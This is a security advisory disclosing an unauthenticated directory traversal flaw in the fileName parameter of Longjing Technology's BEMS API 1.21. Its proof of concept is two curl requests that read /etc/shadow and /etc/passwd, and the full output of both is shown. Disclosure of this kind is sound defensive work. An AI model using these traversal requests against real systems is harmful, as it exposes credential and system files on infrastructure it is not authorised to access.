Longjing Technology BEMS API 1.21 Remote Arbitrary File Download Vendor: Longjing Technology Product web page: http://www.ljkj2012.com Affected version: 1.21 Summary: Battery Energy Management System. Desc: The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. Tested on: nginx/1.19.1 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5657 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php 05.07.2021 -- $ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow root:*:18477:0:99999:7::: daemon:*:18477:0:99999:7::: bin:*:18477:0:99999:7::: sys:*:18477:0:99999:7::: sync:*:18477:0:99999:7::: games:*:18477:0:99999:7::: man:*:18477:0:99999:7::: lp:*:18477:0:99999:7::: mail:*:18477:0:99999:7::: news:*:18477:0:99999:7::: uucp:*:18477:0:99999:7::: proxy:*:18477:0:99999:7::: www-data:*:18477:0:99999:7::: backup:*:18477:0:99999:7::: list:*:18477:0:99999:7::: irc:*:18477:0:99999:7::: gnats:*:18477:0:99999:7::: nobody:*:18477:0:99999:7::: _apt:*:18477:0:99999:7::: $ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin